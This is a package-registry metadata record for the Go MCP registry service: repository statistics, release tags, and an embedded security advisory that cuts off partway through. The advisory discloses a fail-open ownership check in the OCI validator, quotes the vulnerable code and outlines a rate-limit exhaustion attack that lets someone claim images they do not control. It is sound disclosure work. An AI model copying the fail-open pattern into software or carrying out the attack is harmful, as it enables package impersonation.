{"id":11856833,"name":"github.com/modelcontextprotocol/registry","ecosystem":"go","description":"","homepage":"https://github.com/modelcontextprotocol/registry","licenses":"UNKNOWN","normalized_licenses":["Other"],"repository_url":"https://github.com/modelcontextprotocol/registry","keywords_array":[],"namespace":"github.com/modelcontextprotocol","versions_count":34,"first_release_published_at":"2025-09-08T18:40:09.000Z","latest_release_published_at":"2026-05-12T20:59:59.000Z","latest_release_number":"v1.7.9","last_synced_at":"2026-05-27T01:13:01.970Z","created_at":"2025-07-01T00:17:24.134Z","updated_at":"2026-05-27T15:18:33.971Z","registry_url":"https://pkg.go.dev/github.com/modelcontextprotocol/registry","install_command":"go get github.com/modelcontextprotocol/registry","documentation_url":"https://pkg.go.dev/github.com/modelcontextprotocol/registry#section-documentation","metadata":{},"repo_metadata":{"id":292072948,"uuid":"927890076","full_name":"modelcontextprotocol/registry","owner":"modelcontextprotocol","description":"A community driven registry service for Model Context Protocol (MCP) servers.","archived":false,"fork":false,"pushed_at":"2026-05-21T00:58:09.000Z","size":77714,"stargazers_count":6842,"open_issues_count":99,"forks_count":820,"subscribers_count":79,"default_branch":"main","last_synced_at":"2026-05-21T08:40:21.866Z","etag":null,"topics":["mcp","mcp-servers"],"latest_commit_sha":null,"homepage":"https://github.com/modelcontextprotocol/registry/tree/main/docs","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/modelcontextprotocol.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-02-05T17:58:01.000Z","updated_at":"2026-05-21T07:20:29.000Z","dependencies_parsed_at":"2025-05-08T02:39:07.357Z","dependency_job_id":"20283b61-0902-427d-84af-7173d1d086c2","html_url":"https://github.com/modelcontextprotocol/registry","commit_stats":null,"previous_names":["modelcontextprotocol/registry"],"tags_count":31,"template":false,"template_full_name":null,"purl":"pkg:github/modelcontextprotocol/registry","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/modelcontextprotocol","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33379721,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-23T01:21:08.577Z","status":"online","status_checked_at":"2026-05-23T02:00:05.530Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"modelcontextprotocol","name":"Model Context Protocol","uuid":"182288589","kind":"organization","description":"An open protocol that enables seamless integration between LLM applications and external data sources and tools.","email":null,"website":"https://modelcontextprotocol.io","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/182288589?v=4","repositories_count":1,"last_synced_at":"2024-11-25T17:24:25.305Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/modelcontextprotocol","funding_links":[],"total_stars":0,"followers":40,"following":0,"created_at":"2024-11-25T17:24:25.327Z","updated_at":"2024-11-25T17:24:25.327Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/modelcontextprotocol","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/modelcontextprotocol/repositories"},"tags":[{"name":"v1.7.6","sha":"db438962092c444d3b734b70644bc7a2694418a5","kind":"commit","published_at":"2026-04-30T00:56:53.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.7.6","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.6/manifests"},{"name":"v1.7.5","sha":"1201cbd82b2cf6d4b56edfc05c763059a12f9fdb","kind":"commit","published_at":"2026-04-29T23:14:00.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.7.5","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.5/manifests"},{"name":"v1.7.4","sha":"5dcae5b3cee0f5ebfcc3c65c196bc5f89c6a1a68","kind":"commit","published_at":"2026-04-29T18:05:09.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.7.4","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.4/manifests"},{"name":"v1.7.3","sha":"736d37685808225a4fed0efaf39e2049920e06bb","kind":"commit","published_at":"2026-04-28T19:21:24.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.7.3","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.3/manifests"},{"name":"v1.7.2","sha":"27af672c5ee355e88d8329f51ce20f0e4d08db39","kind":"commit","published_at":"2026-04-27T19:35:59.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.7.2","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"b24d6c7657786d4474f2ab0fd067deb85be1de33","kind":"commit","published_at":"2026-04-27T13:09:50.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.7.1","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"0cb1f6bf521906eeccf84cf7d3faf4e05825b084","kind":"commit","published_at":"2026-04-25T15:59:28.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.7.0","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.7.0/manifests"},{"name":"v1.6.0","sha":"8df5a7711d8f4cac3385601181568a1cb608d73c","kind":"commit","published_at":"2026-04-15T11:16:23.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.6.0","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.6.0/manifests"},{"name":"v1.5.0","sha":"7b0c411928fbfd122e53d19f20b8a079ec1024b2","kind":"commit","published_at":"2026-03-06T22:57:51.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.5.0","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.5.0/manifests"},{"name":"v1.4.1","sha":"a5f2dc1b6633501a2395a8e6b06ce8c4215cd4b1","kind":"commit","published_at":"2026-02-10T20:54:52.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.4.1","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"731198572b929b9d98894ff69fa42b345b78e4e1","kind":"commit","published_at":"2025-12-13T20:34:12.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.4.0","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.4.0/manifests"},{"name":"v1.3.10","sha":"467a7fd89798fd8b247f490a0af5431d465b58cd","kind":"commit","published_at":"2025-11-18T07:58:34.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.3.10","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.3.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.3.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.10/manifests"},{"name":"v1.3.9","sha":"45bf43f9d1ef45bf2af4f3f44bbb1b523a1a404b","kind":"commit","published_at":"2025-11-17T11:32:59.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.3.9","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.9/manifests"},{"name":"v1.3.8","sha":"9c776acc95225ad6156d08cfdbcba54790b53145","kind":"commit","published_at":"2025-11-03T09:10:15.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.3.8","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.8/manifests"},{"name":"v1.3.7","sha":"be0fa8ca6b7f8360f4c27b10c85f36398459b2da","kind":"commit","published_at":"2025-10-29T19:58:36.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.3.7","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.7/manifests"},{"name":"v1.3.6","sha":"f5f08bc92d78261cc6ff3f3105709fd2c181f23c","kind":"commit","published_at":"2025-10-29T15:23:41.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.3.6","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.6/manifests"},{"name":"v1.3.5","sha":"0ef5b90ed7100be6812c083cc8f611c8a88c0ebb","kind":"commit","published_at":"2025-10-24T15:29:15.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.3.5","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.5/manifests"},{"name":"v1.3.4","sha":"be4182606e8f4f223d1e25d0a7c3037ae278458a","kind":"commit","published_at":"2025-10-24T09:44:51.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.3.4","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.4/manifests"},{"name":"v1.3.3","sha":"0828bc483c5a8466b250c3c370c02d79e1c16c47","kind":"commit","published_at":"2025-10-16T22:35:29.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.3.3","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.3/manifests"},{"name":"v1.3.2","sha":"4e11b81d1c8a6de094ecd9cd5b08cd12e5480ee2","kind":"commit","published_at":"2025-10-16T16:41:41.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.3.2","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"2a806900632c893abfbf74c38ba54c1265c35b88","kind":"commit","published_at":"2025-10-15T14:24:46.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.3.1","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"3592b2cc0cc362821ab121291dc1bd82b0831a1f","kind":"commit","published_at":"2025-10-14T12:28:10.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.3.0","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.3.0/manifests"},{"name":"v1.2.3","sha":"e968cfdbca49a93c6864eb50591d4752845cb518","kind":"commit","published_at":"2025-09-30T17:39:33.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.2.3","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.2.3/manifests"},{"name":"v1.2.2","sha":"272ee9322d7f630a23d9d53723a77db0dd09f595","kind":"commit","published_at":"2025-09-30T17:07:42.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.2.2","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"2d49e5b68caacdc337b7a67b17fcab05746c6842","kind":"commit","published_at":"2025-09-30T13:43:26.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.2.1","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"df018fc43b09548026cefb4f00b424e40c920b69","kind":"commit","published_at":"2025-09-29T22:43:27.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.2.0","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"ae00f70eaf2202970d74f5d459fd174ab8445a8a","kind":"tag","published_at":"2025-09-24T01:05:56.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.1.0","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"f975e68cf25c776160d4e837919884ca026027d6","kind":"commit","published_at":"2025-09-08T21:32:59.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v1.0.0","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v1.0.0/manifests"},{"name":"v0.0.3","sha":"f51c187e52b1203935ff8f6dc48d1b5054189acb","kind":"commit","published_at":"2025-09-08T21:08:45.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v0.0.3","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v0.0.3/manifests"},{"name":"v0.0.2","sha":"92fdb1dd8873dc76deb4f2ecf643edd71cdacbad","kind":"commit","published_at":"2025-09-08T20:31:51.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v0.0.2","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v0.0.2/manifests"},{"name":"v0.0.1","sha":"253af4eb473c644d5220a955690ae903fc22b87b","kind":"commit","published_at":"2025-09-08T18:40:09.000Z","download_url":"https://codeload.github.com/modelcontextprotocol/registry/tar.gz/v0.0.1","html_url":"https://github.com/modelcontextprotocol/registry/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/modelcontextprotocol/registry@v0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2026-05-23T02:12:07.484Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":5.673586424307466,"dependent_packages_count":5.316629217251324,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":5.4951078207793955},"purl":"pkg:golang/github.com/modelcontextprotocol/registry","advisories":[{"uuid":"GSA_kwCzR0hTQS0ydjVmLTVyNnctcDY3cs4ABXGl","url":"https://github.com/advisories/GHSA-2v5f-5r6w-p67r","title":"MCP Registry: OCI validator skips ownership check on upstream rate limits","description":"# OCI ownership validation fails open on upstream rate limits, allowing attacker to claim arbitrary public OCI images under their own namespace\n\nSeverity: Low (re-scored post-triage; see Maintainer triage note below)\nAffected: `modelcontextprotocol/registry` main branch at commit `fe0cb3b` (current HEAD as of 2026-05-09).\nLive deployment: `https://registry.modelcontextprotocol.io` (per repo README).\nRoute: GitHub private security advisory (per repo SECURITY.md).\n\n---\n\n## Title\n\nOCI ownership validation skips label-match check when upstream OCI registry returns HTTP 429, letting any authenticated publisher bind their `io.github.\u003cuser\u003e/*` namespace to OCI images they do not control.\n\n## Summary\n\n`internal/validators/registries/oci.go:104-119` fails open on `http.StatusTooManyRequests`: when the\nregistry's anonymous fetch to the upstream OCI registry is rate-limited, `ValidateOCI` returns `nil`\nand the publish is accepted without ever running the\n`io.modelcontextprotocol.server.name` label-match check at lines 122-141. That label check is the\nonly cross-system ownership proof the registry applies to OCI packages — every other registry type\n(NPM, PyPI, NuGet, MCPB) treats a non-200 upstream response as a hard error.\n\nThe fail-open trigger is attacker-controllable. The registry uses `authn.Anonymous` against Docker\nHub, which is rate-limited to 100 manifest pulls per 6 hours per egress IP, and the production\nNGINX rate limit allows 180 publishes/minute (3 RPS, burst 540) per source IP. A single attacker\nfrom a single IP can exhaust the registry's shared anonymous quota in roughly 33 seconds, then\nsubmit a final publish that points `packages[].identifier` at a Docker Hub image they do not own.\nThe validator hits the 429 fail-open branch, returns `nil`, and the registry stores a record under\nthe attacker's namespace claiming the unrelated image as its package payload, with no label proof\nin evidence.\n\nThe fail-open is also reached without an attacker present. Docker Hub routinely 429s busy egress IPs\nduring organic traffic, so publishes during those windows skip OCI ownership validation silently.\n\n## Vulnerable code\n\n`internal/validators/registries/oci.go:97-142`:\n\n```go\nimg, err := remote.Image(ref, remote.WithAuth(authn.Anonymous), remote.WithContext(timeoutCtx))\nif err != nil {\n    if errors.Is(err, context.DeadlineExceeded) {\n        return fmt.Errorf(\"OCI image validation timed out after 30 seconds for '%s'. The registry may be slow or unreachable\", pkg.Identifier)\n    }\n\n    var transportErr *transport.Error\n    if errors.As(err, \u0026transportErr) {\n        switch transportErr.StatusCode {\n        case http.StatusTooManyRequests:\n            // Rate limited - skip validation to avoid blocking publishers\n            // This is intentional: we prioritize UX over strict validation during high traffic\n            log.Printf(\"Skipping OCI validation for %s due to rate limiting\", pkg.Identifier)\n            return nil                                              // \u003c-- FAIL-OPEN\n        case http.StatusNotFound:\n            return fmt.Errorf(\"OCI image '%s' does not exist in the registry\", pkg.Identifier)\n        case http.StatusUnauthorized, http.StatusForbidden:\n            return fmt.Errorf(\"OCI image '%s' is private or requires authentication. Only public images are supported\", pkg.Identifier)\n        }\n    }\n    return fmt.Errorf(\"failed to fetch OCI image: %w\", err)\n}\n\n// Get the image config which contains labels\nconfigFile, err := img.ConfigFile()\nif err != nil {\n    return fmt.Errorf(\"failed to get image config: %w\", err)\n}\n\n// Validate the MCP server name label\nif configFile.Config.Labels == nil {\n    return fmt.Errorf(\"OCI image '%s' is missing required annotation. Add this to your Dockerfile: LABEL io.modelcontextprotocol.server.name=\\\"%s\\\"\", pkg.Identifier, serverName)\n}\n\nmcpName, exists := configFile.Config.Labels[\"io.modelcontextprotocol.server.name\"]\nif !exists {\n    return fmt.Errorf(\"OCI image '%s' is missing required annotation. Add this to your Dockerfile: LABEL io.modelcontextprotocol.server.name=\\\"%s\\\"\", pkg.Identifier, serverName)\n}\n\nif mcpName != serverName {\n    return 